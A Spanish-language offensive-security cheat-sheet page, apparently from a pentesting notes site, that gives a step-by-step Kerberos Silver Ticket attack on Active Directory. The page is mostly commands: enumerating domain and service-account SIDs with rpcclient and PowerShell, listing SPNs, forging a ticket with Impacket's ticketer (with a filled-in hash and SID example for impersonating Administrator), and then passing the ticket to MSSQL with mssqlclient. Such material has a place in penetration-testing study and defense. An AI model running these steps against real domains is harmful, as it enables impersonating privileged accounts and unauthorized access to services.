Saltar a contenido

Ataque Silver Ticket

Un ataque de silver ticket consiste en forjar un ticket de servicio Kerberos para obtener acceso no autorizado a un servicio específico en un servidor. A diferencia de un golden ticket, que permite acceso a cualquier recurso del dominio, el silver ticket se enfoca en un servicio concreto (por ejemplo, MSSQL) y puede usarse para hacerse pasar por un administrador u otra cuenta privilegiada en ese servicio.

Requisitos

Para realizar un ataque de silver ticket, necesitas lo siguiente:

  • Hash NTLM de la cuenta de servicio: El hash de la cuenta asociada al servicio objetivo (por ejemplo, la cuenta de servicio de MSSQL).
  • SID del dominio: El identificador de seguridad (SID) del dominio de Active Directory.
  • SID de la cuenta de servicio: El SID de la cuenta de servicio.
  • Nombre del servicio: El nombre del servicio principal de Kerberos (SPN) del servicio objetivo (por ejemplo, MSSQLSvc).
  • Nombre del dominio: El nombre de dominio completo (FQDN) de Active Directory.
  • Nombre del servidor: El FQDN del servidor que aloja el servicio.

Comandos para Obtener la Información Requerida (Sin Permisos de Administrador)

  1. Obtener el hash NTLM de la cuenta de servicio:
  2. Sin permisos de administrador, puedes intentar obtener el hash NTLM de la cuenta de servicio mediante técnicas como:
    • Kerberoasting: articulo acá
    • Si conocemos la contraseña en texto plano podemos generar el hash NTLM: versión web
      echo -n "<CONTRASEÑA>" | iconv -t UTF16LE | openssl dgst -md4
      
  3. Obtener el SID del dominio:
  4. Usa ldapsearch o herramientas de enumeración como rpcclient con credenciales de usuario estándar.

    rpcclient -U "<DOMINIO>/<USUARIO>%<CONTRASEÑA>" <DC_IP>
    rpcclient> lookupnames <NOMBRE_DOMINIO>
    

    • El SID del dominio tiene el formato S-1-5-21-<números_específicos_del_dominio>.
    • Alternativamente, con PowerShell (si tienes acceso):
      [System.Security.Principal.WindowsIdentity]::GetCurrent().User.AccountDomainSid
      
  5. Obtener el SID de la cuenta de servicio:

  6. Usa rpcclient para enumerar el SID de la cuenta de servicio.

    rpcclient -U "<DOMINIO>/<USUARIO>%<CONTRASEÑA>" <DC_IP>
    rpcclient> lookupnames <NOMBRE_CUENTA_SERVICIO>
    

    • El SID de la cuenta de servicio es el SID del dominio más un identificador relativo (RID), por ejemplo, S-1-5-21-<números_específicos_del_dominio>-<RID>.
    • Alternativamente, con PowerShell:
      Get-ADUser -Identity <NOMBRE_CUENTA_SERVICIO> -Server <DC_FQDN> | Select-Object SID
      
  7. Identificar el nombre del servicio:

  8. Enumera los SPN del servicio objetivo con setspn o consultas LDAP.

    setspn -T <DOMINIO> -Q */*
    

    • Busca el SPN, por ejemplo, MSSQLSvc/<SERVIDOR_FQDN>:<PUERTO> para MSSQL.
    • Con PowerShell:
      Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Where-Object { $_.ServicePrincipalName -like "*<SERVICIO>*" }
      
  9. Nombre del dominio:

  10. Es el FQDN del dominio, por ejemplo, example.com. Esto suele obtenerse durante la enumeración inicial.

  11. Nombre del servidor:

  12. El FQDN del servidor que aloja el servicio, por ejemplo, sqlserver.example.com. Se obtiene del SPN o mediante enumeración de red.

Forjar el Silver Ticket con Impacket

  1. Crear el Silver Ticket:
  2. Usa ticketer.py de Impacket para forjar el ticket Kerberos.

    python3 ticketer.py -nthash <NTLM_HASH> -domain-sid <SID_DOMINIO> -domain <NOMBRE_DOMINIO> -spn <NOMBRE_SERVICIO> -user-id <RID_CUENTA_SERVICIO> <USUARIO_OBJETIVO>
    

    • Parámetros:
    • -nthash: El hash NTLM de la cuenta de servicio.
    • -domain-sid: El SID del dominio (sin el RID).
    • -domain: El FQDN del dominio (por ejemplo, example.com).
    • -spn: El nombre del servicio principal (por ejemplo, MSSQLSvc/sqlserver.example.com:1433).
    • -user-id: El RID de la cuenta de servicio (la última parte del SID de la cuenta).
    • <USUARIO_OBJETIVO>: El usuario a impersonar (por ejemplo, Administrator).
    • Ejemplo:
      impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya-industries.com -user-id 500 Administrator
      
    • El user id 500 es el RID de la cuenta de administrador.
    • Esto genera un archivo .ccache con el ticket forjado.
  3. Configurar la variable de entorno para el ticket Kerberos:

  4. Exporta el ticket para usarlo con otras herramientas de Impacket.

    export KRB5CCNAME=$(pwd)/<nombre_ticket>.ccache
    

  5. Realizar Pass-the-Ticket (PTT):

  6. Usa una herramienta de Impacket como mssqlclient.py, psexec.py o smbexec.py para acceder al servicio objetivo con el ticket forjado.
    • Ejemplo para MSSQL:
      python3 mssqlclient.py -k <DOMINIO>/<USUARIO_OBJETIVO>@<SERVIDOR_FQDN> -dc-ip <DC_IP>
      
    • -k: Indica autenticación Kerberos usando el ticket en KRB5CCNAME.
    • Ejemplo:
      python3 mssqlclient.py -k example/[email protected] -dc-ip 192.168.1.10
      
    • Esto conecta al servicio MSSQL como el usuario impersonado (por ejemplo, Administrator).

Archivo /etc/krb5user.conf o /etc/krb5.conf

  • Este archivo es necesario para que el ticket funcione correctamente.
[libdefaults]
        default_realm = EXAMPLE.COM
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        rdns = false
        dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true

[realms]
        EXAMPLE.COM = {
                kdc = dc01.example.com
        }

[domain_realm]
        .example.com = EXAMPLE.COM

Notas

  • Asegúrate de que el reloj del sistema esté sincronizado con el controlador de dominio para evitar problemas con los tickets Kerberos.
    • Comando: sudo ntpdate -u <IP_DC>
  • El ticket forjado solo es válido para el servicio y servidor especificados.
  • Prueba el ticket con herramientas como mssqlclient.py para MSSQL o con otras herramientas de Impacket para diferentes servicios (por ejemplo, psexec.py para CIFS).
  • Si el ticket falla, verifica la precisión del SPN, el hash y los SIDs.
  • Sin permisos de administrador, el éxito del ataque depende de obtener el hash NTLM mediante técnicas como Kerberoasting.